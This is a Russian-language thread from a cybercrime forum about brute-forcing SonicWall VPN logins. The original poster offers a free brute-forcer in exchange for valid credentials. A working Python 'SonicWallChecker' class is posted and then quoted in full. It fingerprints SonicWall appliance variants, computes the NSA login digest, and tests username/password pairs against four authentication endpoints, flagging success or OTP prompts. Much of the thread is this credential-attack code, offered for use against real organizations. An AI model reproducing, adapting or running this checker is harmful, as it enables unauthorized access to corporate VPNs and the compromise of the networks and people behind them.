• XSS.stack #1 – первый литературный журнал от юзеров форума

VPN у кого есть брут на sonicwall

student

(L2) cache
Забанен
Регистрация
03.10.2023
Сообщения
480
Реакции
368
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
подскажите, есть ли там подстава, что форма на вид одинаковая, но при этом если писать брут то проверка разная на валид. И сколько там всего форм которые отличаются?


p/s кто поможет собрать гуды к каждой форме сделаю брут бесплатно.
 
подскажите, есть ли там подстава, что форма на вид одинаковая, но при этом если писать брут то проверка разная на валид. И сколько там всего форм которые отличаются?


p/s кто поможет собрать гуды к каждой форме сделаю брут бесплатно.
Не легче в таком случае писать брут через 1 клиентское ПО, чем по разным web формам?
 
А к чему запрос-ответ в бруте тогда делать?
делать подключение через клиента, подключило - валид, нет - нет
 
Так клиент по ssl запрашивает же
Тут имелось в виду разобрать протокол подключения/общения клиентской части с серверной, там (вроде) независимо от версий протокол одинаковый. Это выгоднее чем собирать тонны разных вебморд
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тут имелось в виду разобрать протокол подключения/общения клиентской части с серверной, там (вроде) независимо от версий протокол одинаковый. Это выгоднее чем собирать тонны разных вебморд
идея хорошая, но кодер наверное денег нихуево возьмет.
 
Зачем что то изобретать?
Burp разве не справиться?
у соника разные веб формы под аутентификацию есть, предложил брут через клиент\протокол подключения; в burp можно сувать список ip адресов, перебирать на каждом формы, и брутить?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем что то изобретать?
Burp разве не справиться?
url;login;pass он принимает? И еще наверное с исходным кодом он и компании логи не летят? Еще и прокси по ссылке можно настроить?
 
идея хорошая, но кодер наверное денег нихуево возьмет.
В чем проблема найти кодера и спросить даже. Он посмотрит снифером аутентификацию и т.д. Скажет тебе цену +- и там поддержка софта ещё
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Из брута Пепла
Python:
class SonicWallChecker:

    def __init__(self, host):
        host = host.rstrip('/')
        self.host = host if '://' in host \
            else f'http://{host}' if ':80' in host \
            else f'https://{host}'
        self.props = {
            'headers': {
                'User-Agent': generate_user_agent(),
            },
            'verify': False,
        }

    @staticmethod
    def get_digest(id_val, pwd, param1):
        _id = [int(id_val, 16)]
        _pwd = [ord(l) for l in pwd]
        chal = list(bytes.fromhex(param1))
        in_buff = bytes(_id + _pwd + chal)
        md5 = hashlib.md5()
        md5.update(in_buff)
        return md5.hexdigest()

    def _fetch(self, endp, method='GET', data=None, _json=None):
        return requests.request(
            method=method,
            url=self.host + endp,
            data=data,
            json=_json,
            **self.props,
        )

    def is_available(self):
        try:
            resp = requests.get(
                self.host,
                verify=False,
                timeout=7,
            )

            resp.raise_for_status()
            if resp.url != self.host:
                url = urlparse(resp.url)
                self.host = f'{url.scheme}://{url.netloc}'
            return True
        except:
            return False

    def check_type(self):
        resp = self._fetch('/')
        resp.raise_for_status()
        if not any((
            'SonicWALL' in resp.headers['Server'],
            'URL=/cgi-bin/welcome' in resp.text,
            'URL=/spog/welcome' in resp.text,
            'frame src="auth1.html"' in resp.text,
            'target="sslvpnTgtFrm"' in resp.text,
            'action="auth.cgi"' in resp.text,
            re.search('/sonicui/\d/login/', resp.text),
            re.search('URL=/.*/welcome', resp.text),
            re.search('URL=/cgi-bin/login', resp.text),
        )):
            # not SonicWall host
            return False

        """
        NSA/VO  => Network Security Appliance   (/auth1.html -> /auth.cgi)
                => Virtual Office               (/sslvpnLogin.html -> /auth.cgi)
        SRA/SMA => SECURE REMOTE/MOBILE ACCESS (/cgi-bin/welcome -> /cgi-bin/userLogin)
        UNK     => Unknown type
        """

        return 'NSA/VO' if any((
            'frame src="auth1.html"' in resp.text,
            'target="sslvpnTgtFrm"' in resp.text,
            'action="auth.cgi"' in resp.text,
            '/auth.html' in resp.text,
        )) else 'SRA/SMA' if any((
            re.search('URL=/.*/welcome', resp.text),
        )) else 'RESTAPI' if any((
            re.search('/sonicui/\d/', resp.text),
        )) else 'SMA-API' if any((
            re.search('URL=/.*/login', resp.text),
        )) else 'UNK'

    def login(self, sonic_type, username, password):
        return   self.__sma_login(username, password) if sonic_type == 'SRA/SMA' \
            else self.__nsa_login(username, password) if sonic_type == 'NSA/VO' \
            else self.__api_login(username, password) if sonic_type == 'RESTAPI' \
            else self.__sma_api_login(username, password) if sonic_type == 'SMA-API' \
            else None

    def __nsa_login(self, username, password):
        resp = self._fetch('/auth1.html')
        soup = BeautifulSoup(resp.text, 'html.parser')

        post_data = {
            'uName': username,
            'pass': '',
            'digest': '',
        }

        id_el = soup.select_one('input[name=id]')
        post_data.update({'id': id_el['value']}) if id_el else None
        lang_el = soup.select_one('select[name=select2] > option')
        post_data.update({'select2': lang_el.text}) if lang_el else None
        sslvpn_el = soup.select_one('input[name=SslvpnLoginPage]')
        post_data.update({'SslvpnLoginPage': sslvpn_el['value']}) if sslvpn_el else None

        param1_el = soup.select_one('input[name=param1]')
        param1_val = param1_el.get('value') if param1_el else None
        param2_el = soup.select_one('input[name=param2]')
        param2_val = param2_el.get('value') if param2_el else None
        sessId_el = soup.select_one('input[name=sessId]')
        sessId_val = sessId_el.get('value') if sessId_el else None

        if param1_val and id_el:
            post_data['digest'] = SonicWallChecker.get_digest(
                id_el['value'],
                password,
                param1_val
            )
        else:
            post_data['pass'] = password

        if sessId_val:
            post_data.update({
                'param1': param1_val,
                'param2': param2_val,
                'sessId': sessId_val,
            })

        domains_el = soup.select('select[name=domain] > option')
        domains = [d.text for d in domains_el]

        for domain in domains:
            if domain:
                post_data['domain'] = domain

            resp = self._fetch(
                endp='/auth.cgi',
                method='POST',
                data=post_data,
            )

            sess = re.findall(
                'sessIdStr = "(.*?)"',
                resp.text)

            if sess and sess[0] != 'null':
                return 'success'
            elif 'auth.html' in resp.text \
            or 'sslvpnLogin.html' in resp.text:
                return 'failure'

        return 'unknown'

    def __sma_login(self, username, password):
        resp = self._fetch('/cgi-bin/welcome')
        soup = BeautifulSoup(resp.text, 'html.parser')

        post_data = {
            'username': username,
            'password': password,
            'ajax': 'true',
        }

        if 'tagId: "loginToken"' in resp.text:
            loginToken = re.findall('tagVal: "(.?)"', resp.text)
            if loginToken:
                post_data['loginToken'] = loginToken[0]

        inputs_names = [
            'loginButton', 'state', 'login',
            'verifyCert', 'portalname',
        ]

        for name in inputs_names:
            input_el = soup.select_one(f'input[name={name}]')
            if not input_el:
                continue
            post_data[name] = input_el.get('value')

        domains_el = soup.select('select[name=domain] > option')
        domains = [d.text for d in domains_el] or []

        for domain in domains:
            if domain:
                post_data['domain'] = domain

            resp = self._fetch(
                endp='/cgi-bin/userLogin',
                method='POST',
                data=post_data,
            )

            status = resp.json().get('status')
            if status in ['success', 'needOtp']:
                return status

        return 'unknown'

    def __api_login(self, username, password):
        headers = OrderedDict([
            ('Accept', 'application/json'),
            ('Content-Type', 'application/json'),
            ('Accept-Encoding', 'application/json'),
            ('Charset', 'UTF-8'),
            ('X-Snwl-Api-Scope', 'extended'),
            ('X-Snwl-Timer', 'no-reset'),
        ])

        resp = requests.get(
            f'{self.host}/api/sonicos/is-sslvpn-enabled',
            verify=False
        )

        domains = [
                d['name'] for d in resp.json().get('domains')
        ] if resp.json().get('enabled') else []

        json_data = {
            "domain": domains[0],
            "override": False,
            "snwl": True
        } if domains else {}

        auth = HTTPDigestAuth(username, password)

        host = self.host
        for _ in range(2):
            resp = requests.post(
                f'{host}/api/sonicos/auth',
                headers=headers,
                auth=auth,
                json=json_data,
                verify=False
            )

            if resp.status_code == 200:
                return 'success'
            elif resp.status_code == 401:
                return 'failure'
            elif resp.status_code == 403 \
                and 'disabled over HTTP' in resp.text:
                host = host.\
                    replace('http://', 'https://').\
                    replace('80', '443')
                continue

        return 'unknown'

    def __sma_api_login(self, username, password):
        resp = self._fetch('/__api__/v1/config/domains')
        domains = [d.get('domainName') for d in resp.json()]

        resp = self._fetch('/__api__/v1/logon')
        logonid = resp.json().get('logonid')
        logon_endp = f'/__api__/v1/logon/{logonid}/authenticate'

        for domain in domains:
            post_data = {
                'domainName': domain,
                'userName': username,
                'password': password,
            }

            resp = self._fetch(
                logon_endp,
                _json=post_data,
            )

            status = resp.json().get('status')
            if status in ['success', 'needOtp']:
                return status

        return 'unknown'
 
Последнее редактирование:
Из брута Пепла
Python:
class SonicWallChecker:

    def __init__(self, host):
        host = host.rstrip('/')
        self.host = host if '://' in host \
            else f'http://{host}' if ':80' in host \
            else f'https://{host}'
        self.props = {
            'headers': {
                'User-Agent': generate_user_agent(),
            },
            'verify': False,
        }

    @staticmethod
    def get_digest(id_val, pwd, param1):
        _id = [int(id_val, 16)]
        _pwd = [ord(l) for l in pwd]
        chal = list(bytes.fromhex(param1))
        in_buff = bytes(_id + _pwd + chal)
        md5 = hashlib.md5()
        md5.update(in_buff)
        return md5.hexdigest()

    def _fetch(self, endp, method='GET', data=None, _json=None):
        return requests.request(
            method=method,
            url=self.host + endp,
            data=data,
            json=_json,
            **self.props,
        )

    def is_available(self):
        try:
            resp = requests.get(
                self.host,
                verify=False,
                timeout=7,
            )

            resp.raise_for_status()
            if resp.url != self.host:
                url = urlparse(resp.url)
                self.host = f'{url.scheme}://{url.netloc}'
            return True
        except:
            return False

    def check_type(self):
        resp = self._fetch('/')
        resp.raise_for_status()
        if not any((
            'SonicWALL' in resp.headers['Server'],
            'URL=/cgi-bin/welcome' in resp.text,
            'URL=/spog/welcome' in resp.text,
            'frame src="auth1.html"' in resp.text,
            'target="sslvpnTgtFrm"' in resp.text,
            'action="auth.cgi"',
            re.search('/sonicui/\d/login/', resp.text),
            re.search('URL=/.*/welcome', resp.text),
            re.search('URL=/cgi-bin/login', resp.text),
        )):
            # not SonicWall host
            return False

        """
        NSA/VO  => Network Security Appliance   (/auth1.html -> /auth.cgi)
                => Virtual Office               (/sslvpnLogin.html -> /auth.cgi)
        SRA/SMA => SECURE REMOTE/MOBILE ACCESS (/cgi-bin/welcome -> /cgi-bin/userLogin)
        UNK     => Unknown type
        """

        return 'NSA/VO' if any((
            'frame src="auth1.html"' in resp.text,
            'target="sslvpnTgtFrm"' in resp.text,
            'action="auth.cgi"' in resp.text,
            '/auth.html' in resp.text,
        )) else 'SRA/SMA' if any((
            re.search('URL=/.*/welcome', resp.text),
        )) else 'RESTAPI' if any((
            re.search('/sonicui/\d/', resp.text),
        )) else 'SMA-API' if any((
            re.search('URL=/.*/login', resp.text),
        )) else 'UNK'

    def login(self, sonic_type, username, password):
        return   self.__sma_login(username, password) if sonic_type == 'SRA/SMA' \
            else self.__nsa_login(username, password) if sonic_type == 'NSA/VO' \
            else self.__api_login(username, password) if sonic_type == 'RESTAPI' \
            else self.__sma_api_login(username, password) if sonic_type == 'SMA-API' \
            else None

    def __nsa_login(self, username, password):
        resp = self._fetch('/auth1.html')
        soup = BeautifulSoup(resp.text, 'html.parser')

        post_data = {
            'uName': username,
            'pass': '',
            'digest': '',
        }

        id_el = soup.select_one('input[name=id]')
        post_data.update({'id': id_el['value']}) if id_el else None
        lang_el = soup.select_one('select[name=select2] > option')
        post_data.update({'select2': lang_el.text}) if lang_el else None
        sslvpn_el = soup.select_one('input[name=SslvpnLoginPage]')
        post_data.update({'SslvpnLoginPage': sslvpn_el['value']}) if sslvpn_el else None

        param1_el = soup.select_one('input[name=param1]')
        param1_val = param1_el.get('value') if param1_el else None
        param2_el = soup.select_one('input[name=param2]')
        param2_val = param2_el.get('value') if param2_el else None
        sessId_el = soup.select_one('input[name=sessId]')
        sessId_val = sessId_el.get('value') if sessId_el else None

        if param1_val and id_el:
            post_data['digest'] = SonicWallChecker.get_digest(
                id_el['value'],
                password,
                param1_val
            )
        else:
            post_data['pass'] = password

        if sessId_val:
            post_data.update({
                'param1': param1_val,
                'param2': param2_val,
                'sessId': sessId_val,
            })

        domains_el = soup.select('select[name=domain] > option')
        domains = [d.text for d in domains_el]

        for domain in domains:
            if domain:
                post_data['domain'] = domain

            resp = self._fetch(
                endp='/auth.cgi',
                method='POST',
                data=post_data,
            )

            sess = re.findall(
                'sessIdStr = "(.*?)"',
                resp.text)

            if sess and sess[0] != 'null':
                return 'success'
            elif 'auth.html' in resp.text \
            or 'sslvpnLogin.html' in resp.text:
                return 'failure'

        return 'unknown'

    def __sma_login(self, username, password):
        resp = self._fetch('/cgi-bin/welcome')
        soup = BeautifulSoup(resp.text, 'html.parser')

        post_data = {
            'username': username,
            'password': password,
            'ajax': 'true',
        }

        if 'tagId: "loginToken"' in resp.text:
            loginToken = re.findall('tagVal: "(.?)"', resp.text)
            if loginToken:
                post_data['loginToken'] = loginToken[0]

        inputs_names = [
            'loginButton', 'state', 'login',
            'verifyCert', 'portalname',
        ]

        for name in inputs_names:
            input_el = soup.select_one(f'input[name={name}]')
            if not input_el:
                continue
            post_data[name] = input_el.get('value')

        domains_el = soup.select('select[name=domain] > option')
        domains = [d.text for d in domains_el] or []

        for domain in domains:
            if domain:
                post_data['domain'] = domain

            resp = self._fetch(
                endp='/cgi-bin/userLogin',
                method='POST',
                data=post_data,
            )

            status = resp.json().get('status')
            if status in ['success', 'needOtp']:
                return status

        return 'unknown'

    def __api_login(self, username, password):
        headers = OrderedDict([
            ('Accept', 'application/json'),
            ('Content-Type', 'application/json'),
            ('Accept-Encoding', 'application/json'),
            ('Charset', 'UTF-8'),
            ('X-Snwl-Api-Scope', 'extended'),
            ('X-Snwl-Timer', 'no-reset'),
        ])

        resp = requests.get(
            f'{self.host}/api/sonicos/is-sslvpn-enabled',
            verify=False
        )

        domains = [
                d['name'] for d in resp.json().get('domains')
        ] if resp.json().get('enabled') else []

        json_data = {
            "domain": domains[0],
            "override": False,
            "snwl": True
        } if domains else {}

        auth = HTTPDigestAuth(username, password)

        host = self.host
        for _ in range(2):
            resp = requests.post(
                f'{host}/api/sonicos/auth',
                headers=headers,
                auth=auth,
                json=json_data,
                verify=False
            )

            if resp.status_code == 200:
                return 'success'
            elif resp.status_code == 401:
                return 'failure'
            elif resp.status_code == 403 \
                and 'disabled over HTTP' in resp.text:
                host = host.\
                    replace('http://', 'https://').\
                    replace('80', '443')
                continue

        return 'unknown'

    def __sma_api_login(self, username, password):
        resp = self._fetch('/__api__/v1/config/domains')
        domains = [d.get('domainName') for d in resp.json()]

        resp = self._fetch('/__api__/v1/logon')
        logonid = resp.json().get('logonid')
        logon_endp = f'/__api__/v1/logon/{logonid}/authenticate'

        for domain in domains:
            post_data = {
                'domainName': domain,
                'userName': username,
                'password': password,
            }

            resp = self._fetch(
                logon_endp,
                _json=post_data,
            )

            status = resp.json().get('status')
            if status in ['success', 'needOtp']:
                return status

        return 'unknown'
Красивый код ! 🥰 🥰 🥰
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх